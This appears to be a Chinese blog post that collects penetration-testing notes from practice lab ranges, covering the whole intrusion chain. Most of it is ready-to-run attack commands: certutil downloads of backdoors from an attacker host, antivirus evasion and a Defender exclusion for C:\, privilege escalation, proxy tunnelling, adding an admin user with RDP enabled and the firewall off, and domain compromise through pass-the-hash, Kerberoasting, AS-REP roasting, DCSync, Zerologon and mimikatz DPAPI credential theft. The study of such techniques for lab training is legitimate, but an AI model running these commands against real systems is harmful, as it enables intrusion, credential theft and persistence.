渗透知识点汇总

前言

渗透靶场打了十来个了,是时候做一个总结了,总结一下学到的一些渗透知识

入口打点

首先就是fscan等等的扫描器,扫描一下功能点、有无漏洞点

一般有猫腻的端口就是以下几种

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
80     //http
443    //https
445    //smb     可能弱口令
1433   //sqlserver  
1521   //Oracle
3306   //mysql   数据库可能有弱口令、其中也可能有一些用户密码
3389   //windowsRDP
6379   //redis   这个打的多点,有各种拿shell的方法

有些还会自己挑端口开web服务,有时候还要全扫端口

一些扫描也可扫到一些漏洞点,直接打就可以

web漏洞点的话就不多说了,一些网站的配置文件里可能会写数据库的密码

数据库的话一般都是弱口令,连接远程下载木马后门上线,数据库连接后可以看看里面有没有什么用户密码之类的

RDP也是一些弱口令把,有些有时候可以直接爆破连接上,不过RDP弱口令一般不会出现在入口机

免杀上线

可以执行命令之后就可以考虑上线cs或者msf了,上线对后续渗透有很大帮助

但是都需要传文件才能运行,所以通过命令下载文件就至关重要了

1
certutil -urlcache -split -f http://172.16.233.2:50055/a1.exe a1.exe

cs操作就不多说了,免杀的话可以生成后门的时候生成 .c文件,然后通过免杀软件进行免杀

我用的是掩日的网络免杀,可以绕过defener360等等简单的杀软

生成后用法

1
1.exe http:ip/1.txt

这里要注意1.txt放的ip是需要靶机能够访问到的,一般外网就是访问你自己的vps,内网就是访问你的外网

当然还要开启http服务,如果又网络服务的话直接用就行,比如我要上线内网B,然后外网A有个phpstudy,那直接用外网a的网络服务,让内网b下载就行了

msf生成的exe我倒是还没免杀过,一个是cyber这个靶场的linux系统比较少,一个是linux系统也没有defender

提权思路

通过cve拿到的shell一般权限都不高,这个时候就需要提权了

一般windows提权,很多都是土豆家族就可以解决的,比如甜土豆烂土豆,土豆提权解决不了的话,再利用一些检测漏洞的工具检查一下有没有其他漏洞,然后再打

可以用whoami /priv来检查是否可以用土豆提权

whoami /priv用于显示当前用户的安全特权信息

若开启了身份验证后模拟客户端已启用也就是SelmpersonatePrivilege就可以用土豆提权

若是linux,可以先用

1
2
3
4
5
6
7
sudo -l

来检查一下有没有文件有sudo的权限

find / -user root -perm -4000 -print 2>/dev/null

检查有suid权限的

找到了的话可以通过下面的链接来查找使用方法

1
https://gtfobins.github.io

内网连接

拿下入口的shell之后,就要开始进行内网连接了,这里首推stowaway

不仅可以多级代理,还能正反向连接

1
2
3
4
5
6
7
./linux_x64_admin -l 8888          //在vps
./linux_x64_agent -c <vps>:8888

也可以正向连接

./linux_x64_agent -l 8888
./linux_x64_admin -c <靶场ip>:8888

连接上了之后可以开启socks代理

1
2
use 0  //选择节点
socks 9999 //创建socks连接

之后通过socks代理连接就可以进入内网了,可以用proxifier这个一般是给蚁剑等等exe利用的,或者用proxychains这个是给一些终端利用的

如果代理有问题,stowaway也可以进行端口转发

1
2
3
forward 8877 10.5.0.23:8848

将10.5.0.23靶机的8848端口转发到本地8877端口

内网横向

内网横向是渗透的重点

搞完内网连接之后继续用fscan进行扫描寻找下一个可以攻击的点

这个时候可以着重注意一下内网主机开放的端口,因为这些开放的服务往往就决定了进攻的方式

比如开启了3389,就要往RDP这方面去靠,去找找前面打的机子有没有数据库啊、rdp登录凭证啊什么的

端口是一方面

有时候前面主机的用户桌面上也会有一些记录、甚至是xshell等连接用的工具

域控打法

域外

域外到域内就是域内用户爆破和一些CVE,比如zerologon

域内

域内可以打的就多了,可以先在域内机中找找有没有RDP的凭证啥的

之后可以用ADfind分析一下,可以打的还蛮多:AD-CS、约束性委派、非约束性委派

一些常见命令

1
2
echo root:password|chpasswd
修改root密码,改为password

windows远程下载

1
certutil -urlcache -split -f http://172.16.233.2:50055/a1.exe a1.exe

添加杀软白名单

1
powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"

检查Windows自动登录配置

1
2
3
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

shell reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

RDP开启

1
2
3
4
5
6
7
8
9
net user liernian qwer123! /add

net localgroup Administrators liernian /add

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

netsh advfirewall set allprofiles state off

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f	

土豆提权版RDP

1
2
3
4
5
6
7
8
9
SweetPotato.exe -a "REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"

 SweetPotato.exe -a "net user liernian 123Qwe! /add"

SweetPotato.exe -a "net localgroup Administrators liernian /add"

SweetPotato.exe -a "reg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f"

SweetPotato.exe -a "netsh advfirewall set allprofiles state off"

CS上线版

1
2
3
4
5
6
7
8
9
用插件开启RDP

shell "net user liernian qwer123! /add"

shell "net localgroup Administrators liernian /add"

shell "netsh advfirewall set allprofiles state off"

shell reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

免杀检测

1
tasklist /svc

mimikatz获取凭证

image-20260131153850649

前置知识点:

TGT

Kerberos

知识点

PTH

哈希传递攻击(Pass-the-Hash,简称 PTH)是内网渗透和横向移动中非常经典且核心的技术。它的核心思想是:攻击者不需要获得明文密码,只需要获得用户的 NTLM Hash,就可以通过该 Hash 冒充用户身份进行身份验证,从而访问网络资源。

在渗透靶场中,一般都是最后一步,拿下域控管理员的NTLM哈希之后,通过PTH拿下同一域中其他所有的shell

示例(Impacket包中):

1
proxychains4 python3 smbexec.py -hashes :932dce8df403ee184aafc797087e309a cyberstrikelab.com/administrator@10.0.0.5

SPN

SPN (Service Principal Name Kerberos ) 是 Kerberos 身份验证系统中用于唯一标识服务实例的标识符。

在有低权限用户的账号和密码的情况下,可以通过获取SPN,再对SPN进行哈希爆破(hashcat),从而获取能够RDP登录的用户/密码

通过impacketGetUserSPNs可以获取SPN

1
proxychains impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

哈希爆破

1
hashcat.exe -m 13100 hash.txt rockyou.txt

-m 13100 (命令 1)

  • 协议/类型: Kerberos 5, TGS-REP etype 23
  • 攻击名称: Kerberoasting
  • 目标: 此攻击针对的是服务账户(Service Accounts)。
  • 原理: 攻击者请求一个服务票据(TGS),AD 会返回一个用该服务账户密码哈希加密的票据。攻击者离线破解这个票据来获取服务账户的明文密码。

IPS

Dcsync

DCSync 允许攻击者模拟一个域控制器(DC),向真实的域控制器发出数据同步请求,从而获取域内任意用户的凭据(包括 NTLM 哈希、AES 密钥、密码历史记录等),而无需直接登录到域控制器本身。

在你的靶机是域管理员权限,并且拥有该靶机的本地管理员权限时,可以通过Dcsybc获取域内 Administrator 的哈希

1
lsadump::dcsync /domain:xiaorang.lab /all /csv

有了域内域内 Administrator 的哈希,就可以通过PTH登录域内任意主机

Zerologon

CVE-2020-1472,是一个最高危的漏洞,漏洞效果如下:未经身份验证的攻击者可以将域控制器机器账户(例如 DC01$)的密码重置为空

置空之后就可以导出域内 Administrator 的哈希,也就可以打PTH了

具体操作如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
*检测是否存在*(需要域名或者ip和域控主机名)

lsadump::zerologon /target:10.0.0.60 /account:DC$

*进行置空*

lsadump::zerologon /target:10.0.0.60  /ntlm /null /account:DC$ /exploit

之后可以通过dcsync获取哈希(不建议)

lsadump::dcsync /csv /domain:cyberstrikelab.com /dc:WIN-7NRTJO59O7N.cyberstrikelab.com /user:administrator /authuser:WIN-7NRTJO59O7N$ /authpassword:"" /authntlm

也可以用impacket包中的secretsdump导出

proxychains python secretsdump.py -no-pass cyberstrikelab.com/DC\$@10.0.0.60

AS-REP-Roasting

一种针对 Kerberos 协议的攻击技术,主要针对域内配置不当的用户账户。它的门槛极低,甚至不需要拿到任何域用户的权限(只要你知道受害者的用户名),就可以离线破解其密码。

在数据库中获取到大量用户名时可以考虑用impacketGetNPUsers.py对没开启域身份证明的读取哈希

1
proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile users.txt xiaorang.lab/

然后对读出来的哈希做哈希爆破(rockyou是个爆破字典)

1
hashcat -m 18200 -a 0 --force  hash.txt rockyou.txt

-m 18200 (命令 2)

  • 协议/类型: Kerberos 5, AS-REP etype 23
  • 攻击名称: AS-REP Roasting
  • 目标: 此攻击针对的是设置了**“Do not require Kerberos preauthentication”**(不需要 Kerberos 预认证)的用户账户。
  • 原理: 攻击者向域控请求认证(AS-REQ),如果目标用户不需要预认证,域控会直接返回一个用该用户密码哈希加密的 TGT 部分(AS-REP)。攻击者离线破解它来获取用户密码。

AD-CS

AD CS 是微软提供的公钥基础设施(PKI)实现。它允许组织在 Active Directory 环境中颁发和管理数字证书。

如果攻击者获得了一个用于“客户端身份验证”的有效证书,Active Directory 就会把这个证书等同于用户的密码或 Kerberos Ticket。也就是说,你可以申请一个域控管理员的证书,然后通过这个证书获取域控管理员的哈希

在你拥有一个域内账号/密码时,可以尝试进行攻击的一个漏洞

存在ESC1~8时八种不一样的漏洞,但是都是可以获取证书的

DPAPI凭据解密

DPAPI(Data Protection Application Programming Interface)是Windows操作系统提供的一套数据保护API,从Windows 2000开始引入。它为应用程序提供了简单的加密/解密接口,开发者无需自行管理密钥。

比如浏览器的是否保存密码,就会产生这种凭据,还有RDP登录时,选择记住凭据后就会有这种凭据

首先要找到凭据的位置

1
2
3
4
5
6
7
Windows凭据管理器存储位置有两个:

C:\Users\<用户名>\AppData\Local\Microsoft\Credentials\
  └── 存储"本地"凭据(如RDP保存的密码、网络共享凭据等)

C:\Users\<用户名>\AppData\Roaming\Microsoft\Credentials\
  └── 存储"漫游"凭据(域环境中可随用户漫游)

然后用mimikatz的dpapi模块分析一下,从而获取guidMasterKey

1
2
3
4
mimikatz.exe "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\811292CB3B95926F7EA2D46FEB2A7ADB" "exit"

//guidMasterKey : {0792c32e-48a5-4fe3-8b43-d93d64590580}
//解密这个凭据需要找到 GUID = 0792c32e-48a5-... 的Master Key 

那么接下来就是从LSASS进程内存中导出所有MasterKey

1
2
3
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"

//进程内存中提取DPAPI信息

找到对应的MasterKey后就可以开始解密了

1
mimikatz.exe "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\811292CB3B95926F7EA2D46FEB2A7ADB /masterkey:24b089facc24b9f698931a52411c777ed146efe5f0248fd0d4b1844f1d441b9970ad86c006627e49b0e8c94179f0b4a8f509f9d8af5af3569faa21d9c56068a9" "exit"

约束性委派

委派(Delegation)是 Active Directory 中的一种信任机制,允许服务账户代表用户访问其他服务。

1
2
3
4
用户 → Web服务器(前端服务) → 数据库服务器(后端服务)
                 
         
用户访问 Web 服务器,Web 服务器需要以用户的身份去后端数据库查询数据,这就需要委派。
类型 引入版本 安全性
非约束性委派 (Unconstrained Delegation) Windows 2000 最低
约束性委派 (Constrained Delegation) Windows 2003 中等
基于资源的约束性委派 (RBCD) Windows 2012 较高

非约束性委派是最早引入的委派方式(Windows 2000 开始)。

核心特征: 被配置了非约束性委派的服务账户,可以模拟任何用户访问任何服务

一般是配合Printer Bug(打印机漏洞)获取域控TGT

非约束性委派

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计